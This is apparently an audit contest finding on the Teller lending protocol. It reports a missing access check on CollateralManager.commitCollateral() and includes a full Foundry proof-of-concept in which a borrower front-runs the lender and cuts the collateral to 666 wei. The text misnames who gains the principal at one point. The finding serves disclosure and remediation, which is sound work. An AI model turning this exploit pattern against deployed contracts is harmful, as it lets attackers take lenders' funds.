dingo

high

# [H-03] Attacker can steal all approved lender's assets without lost of collateral over commitCollateral() fuction.

## Summary
SC: CollateralManager.sol
Type: Critical

Step by step attack vector:
Let's say borrower(attacker) has `100e18` and lender has `100e18`

1) Attacker submits bid for `50e18` principal and confirm collateral as `100e18`.
2) Attacker call `commitCollateral()` right before lender accept bid (for example frontrun) and change collateral parameters because `commitCollateral()` missed access modifier.
3) Lender accepts bid, principal is going to lender and new amount of collateral going to escrow. (let's say 666 wei).
4) Attacker can do not pay this loan.

## Vulnerability Detail
Foundry test:
1) Create `H-03.t.sol `and run `forge test --match-path tests/TellerV2/H-03.t.sol -vvvv` 
2) Test code:  
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../contracts/TellerV2.sol";
import "../tokens/TestERC20Token.sol";
import "./User.sol";

import "../../contracts/EAS/TellerAS.sol";
import "../../contracts/EAS/TellerASEIP712Verifier.sol";
import "../../contracts/EAS/TellerASRegistry.sol";

import {ReputationManager} from "../../contracts/ReputationManager.sol";
import "../../contracts/CollateralManager.sol";
import "../../contracts/LenderManager.sol";
import {MarketRegistry} from "../../contracts/MarketRegistry.sol";
import "../../contracts/LenderCommitmentForwarder.sol";
import "../../contracts/escrow/CollateralEscrowV1.sol";
import "../../contracts/escrow/CollateralEscrowV1.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract MyTest is Test {

    TellerV2 tellerV2;
    TestERC20Token lendingToken;
    TestERC20Token lendingTokenZeroDecimals;
    User borrower;
    User lender;
    User marketOwner3;
    User receiver;
    User marketOwner;
    User feeRecipient;
    User trustedForwarder;
    MarketRegistry marketRegistry;
    ReputationManager reputationManager;
    CollateralManager collateralManager;
    LenderManager lenderManager;
    LenderCommitmentForwarder lenderCommitmentForwarder;
    CollateralEscrowV1 collateralEscrowV1;
    UpgradeableBeacon upgradeableBeacon;
   
    TellerAS tellerAS;
    TellerASEIP712Verifier tellerASEIP712Verifier;
    TellerASRegistry tellerASRegistry;

    function setUp() public {

        borrower                  = new User();
        lender                    = new User();
        receiver                  = new User();
        marketOwner               = new User();
        feeRecipient              = new User();
        trustedForwarder          = new User(); //~
        tellerV2                  = new TellerV2(address(this)); //trustedForwarder in const
        tellerASEIP712Verifier    = new TellerASEIP712Verifier();
        tellerASRegistry          = new TellerASRegistry();
        tellerAS                  = new TellerAS(tellerASRegistry,tellerASEIP712Verifier);

        marketRegistry            = new MarketRegistry();
        reputationManager         = new ReputationManager();
        collateralManager         = new CollateralManager();
        lenderManager             = new LenderManager(marketRegistry);
        lenderCommitmentForwarder = new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));
        collateralEscrowV1        = new CollateralEscrowV1();
        upgradeableBeacon         = new UpgradeableBeacon(address(collateralEscrowV1));

        lendingToken             = new TestERC20Token("Wrapped Ether", "WETH", 1e30, 18);
        lendingTokenZeroDecimals = new TestERC20Token(
            "Wrapped Ether",
            "WETH",
            1e16,
            0
        );
        deal({token: address(lendingToken), to: address(lender), give: 100e18});
        deal({token: address(lendingToken), to: address(borrower), give: 100e18});

        vm.prank(address(lender));
        lendingToken.approve(address(tellerV2),100e18);
        vm.prank(address(borrower));
        lendingToken.approve(address(tellerV2),100e18);
        
        reputationManager.initialize(address(tellerV2));
        marketRegistry.initialize(tellerAS);
        collateralManager.initialize(address(upgradeableBeacon),address(tellerV2));
        tellerV2.initialize(
            0,  //_protocolFee
            address(marketRegistry),
            address(reputationManager),
            address(lenderCommitmentForwarder),
            address(collateralManager),
            address(lenderManager)
        );
    }

    function testAttack() public {
        
        vm.startPrank(address(marketOwner));
        marketRegistry.createMarket(
            address(marketOwner),
            30 days, 
            10,       //_paymentDefaultDuration 
            1 days,   //_bidExpirationTime
            0,        //feePercent  <<==Fee is 0
            false,    //lenderAttest
            false,    //borrowerAttest
            "mytestURI"
        );
        vm.stopPrank();

        //Bid with collateral
        Collateral[] memory collateral = new Collateral[](1);
        Collateral memory collateral_1 = Collateral ({
            _collateralType: CollateralType.ERC20,
            _amount: 100e18, //set ollateral here
            _tokenId: 0,
            _collateralAddress: address(lendingToken)
        });
        collateral[0] = collateral_1;
        console.log("===========================BEFORE submitBid======================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("MarketOwner ERC20 balance:       ",lendingToken.balanceOf(address(marketOwner)));
        console.log("Lender manager ERC20 balance:    ",lendingToken.balanceOf(0x1F88f48585ad6754e59c03debd4502399e33Ff50)); //Beacon proxy, CollateralManager.sol `mapping(uint256 => address) public _escrows`
        console.log("lender manager address", address(collateralEscrowV1));
        vm.startPrank(address(borrower));
        tellerV2.submitBid(
            address(lendingToken), // lending token
            1, //_marketplaceId
            50e18, // principal
            365 days, // duration
            10_00, // interest rate 
            "", // metadata URI
            address(borrower), // receiver
            collateral
        );
        lendingToken.approve(address(collateralManager),100e18);
        vm.stopPrank();
        
        //changeCollateral in mapping by attacker or any other user (there is no modificator)
        Collateral[] memory collateralFakeArr = new Collateral[](1);
        Collateral memory collateralFakeStruct = Collateral ({
            _collateralType: CollateralType.ERC20,
            _amount: 666, //set new collateral amount
            _tokenId: 0,
            _collateralAddress: address(lendingToken)
        });
        collateralFakeArr[0] = collateralFakeStruct;
        collateralManager.commitCollateral(0,collateralFakeArr); //call it right before lenderAcceptBid

        vm.startPrank(address(lender));
        tellerV2.lenderAcceptBid(0);


        console.log("===========================AFTER lenderAcceptBid====================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("MarketOwner ERC20 balance:       ",lendingToken.balanceOf(address(marketOwner)));
        console.log("Lender manager ERC20 balance:    ",lendingToken.balanceOf(0x1F88f48585ad6754e59c03debd4502399e33Ff50)); //Beacon proxy, CollateralManager.sol `mapping(uint256 => address) public _escrows`
        
        vm.warp(block.timestamp+100);
        vm.stopPrank();
        
    }
}
```
Now lender steal principal. Also there is new amount of collateral escrow as `666 wei`.
![image](https://user-images.githubusercontent.com/106747559/233705474-bc10785d-f032-42de-aa60-0a635a35bfd4.png)

## Impact
Lender's principal could be stolen.

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L117

## Tool used
Manual Review

## Recommendation
Add additional requirements regarding access to function `commitCollateral()` like `onlyTellerV2`
